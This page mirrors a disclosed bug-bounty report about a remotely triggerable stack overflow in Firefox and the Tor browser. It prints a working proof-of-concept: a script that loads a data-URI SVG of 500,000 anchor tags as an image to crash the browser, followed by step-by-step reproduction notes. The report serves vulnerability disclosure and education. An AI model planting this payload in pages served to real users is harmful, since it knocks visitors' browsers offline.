Skip to content
Memory corruption Disclosed report Beginner

Stack overflow in UnbindFromTree (browser can be crashed remotely)

A stack overflow occurs in Firefox when processing a data URI containing a very large number of anchor tags, crashing the browser; an attacker could remotely crash it via a malicious page.

geeknik Follow

Originally disclosed on HackerOne

  • Disclosed after 33 days

I reported this bug to Mozilla approximately 9 months ago and all versions of Firefox back to at least ESR45 and including current Nightly 57 builds are still vulnerable to this unpatched flaw. I've tested on Fedora 26, Debian 8, Windows 8 and Windows 10. Mozilla declined to award a bounty.

Code:

<html>
<head></head>
<body>
<script>
function done() {
}

var x = '';
for (i=0; i<500000; ++i)
  x += '<a>';
var uri = 'data:image/svg+xml,' + x;
var i = new Image();
i.src = uri;
</script>
</body>
</html>

The caveat to this is that if scripts are disabled on the page where this code is located, the Tor browser won't crash. This link will probably crash your Firefox. A WinDBG stack trace is located here.

The original report as published on HackerOne, by geeknik. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A remote attacker could crash the Firefox browser, causing a denial of service; however, if scripts are disabled on the page, the Tor browser does not crash.

What the attacker needed

Victim visits a malicious page; JavaScript enabled

How it was found

  1. Create an HTML page with a script that generates a string of 500,000 opening anchor tags.
  2. Construct a data URI for an SVG image using that string.
  3. Create a new Image object and set its source to the data URI.
  4. Load the page in Firefox, which triggers the crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by geeknik

View all

79 more disclosed reports, best first.

More from Tor

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.